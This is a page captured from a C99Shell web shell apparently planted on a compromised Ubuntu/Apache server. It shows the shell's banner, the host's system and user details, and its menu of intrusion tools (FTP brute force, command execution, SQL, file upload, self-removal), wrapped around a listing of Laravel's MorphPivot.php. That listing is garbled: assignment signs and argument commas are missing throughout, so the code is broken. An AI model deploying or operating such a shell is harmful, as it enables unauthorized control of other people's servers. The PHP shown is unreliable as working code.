!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/   drwxrwxr-x
Free 13.23 GB of 57.97 GB (22.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MorphPivot.php (4.44 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Eloquent\Relations;

class 
MorphPivot extends Pivot
{
    
/**
     * The type of the polymorphic relation.
     *
     * Explicitly define this so it's not included in saved attributes.
     *
     * @var string
     */
    
protected $morphType;

    
/**
     * The value of the polymorphic relation.
     *
     * Explicitly define this so it's not included in saved attributes.
     *
     * @var string
     */
    
protected $morphClass;

    
/**
     * Set the keys for a save update query.
     *
     * @param  \Illuminate\Database\Eloquent\Builder  $query
     * @return \Illuminate\Database\Eloquent\Builder
     */
    
protected function setKeysForSaveQuery($query)
    {
        
$query->where($this->morphType$this->morphClass);

        return 
parent::setKeysForSaveQuery($query);
    }

    
/**
     * Set the keys for a select query.
     *
     * @param  \Illuminate\Database\Eloquent\Builder  $query
     * @return \Illuminate\Database\Eloquent\Builder
     */
    
protected function setKeysForSelectQuery($query)
    {
        
$query->where($this->morphType$this->morphClass);

        return 
parent::setKeysForSelectQuery($query);
    }

    
/**
     * Delete the pivot model record from the database.
     *
     * @return int
     */
    
public function delete()
    {
        if (isset(
$this->attributes[$this->getKeyName()])) {
            return (int) 
parent::delete();
        }

        if (
$this->fireModelEvent('deleting') === false) {
            return 
0;
        }

        
$query $this->getDeleteQuery();

        
$query->where($this->morphType$this->morphClass);

        return 
tap($query->delete(), function () {
            
$this->fireModelEvent('deleted'false);
        });
    }

    
/**
     * Get the morph type for the pivot.
     *
     * @return string
     */
    
public function getMorphType()
    {
        return 
$this->morphType;
    }

    
/**
     * Set the morph type for the pivot.
     *
     * @param  string  $morphType
     * @return $this
     */
    
public function setMorphType($morphType)
    {
        
$this->morphType $morphType;

        return 
$this;
    }

    
/**
     * Set the morph class for the pivot.
     *
     * @param  string  $morphClass
     * @return \Illuminate\Database\Eloquent\Relations\MorphPivot
     */
    
public function setMorphClass($morphClass)
    {
        
$this->morphClass $morphClass;

        return 
$this;
    }

    
/**
     * Get the queueable identity for the entity.
     *
     * @return mixed
     */
    
public function getQueueableId()
    {
        if (isset(
$this->attributes[$this->getKeyName()])) {
            return 
$this->getKey();
        }

        return 
sprintf(
            
'%s:%s:%s:%s:%s:%s',
            
$this->foreignKey$this->getAttribute($this->foreignKey),
            
$this->relatedKey$this->getAttribute($this->relatedKey),
            
$this->morphType$this->morphClass
        
);
    }

    
/**
     * Get a new query to restore one or more models by their queueable IDs.
     *
     * @param  array|int  $ids
     * @return \Illuminate\Database\Eloquent\Builder
     */
    
public function newQueryForRestoration($ids)
    {
        if (
is_array($ids)) {
            return 
$this->newQueryForCollectionRestoration($ids);
        }

        if (! 
str_contains($ids':')) {
            return 
parent::newQueryForRestoration($ids);
        }

        
$segments explode(':'$ids);

        return 
$this->newQueryWithoutScopes()
                        ->
where($segments[0], $segments[1])
                        ->
where($segments[2], $segments[3])
                        ->
where($segments[4], $segments[5]);
    }

    
/**
     * Get a new query to restore multiple models by their queueable IDs.
     *
     * @param  array  $ids
     * @return \Illuminate\Database\Eloquent\Builder
     */
    
protected function newQueryForCollectionRestoration(array $ids)
    {
        
$ids array_values($ids);

        if (! 
str_contains($ids[0], ':')) {
            return 
parent::newQueryForRestoration($ids);
        }

        
$query $this->newQueryWithoutScopes();

        foreach (
$ids as $id) {
            
$segments explode(':'$id);

            
$query->orWhere(function ($query) use ($segments) {
                return 
$query->where($segments[0], $segments[1])
                             ->
where($segments[2], $segments[3])
                             ->
where($segments[4], $segments[5]);
            });
        }

        return 
$query;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--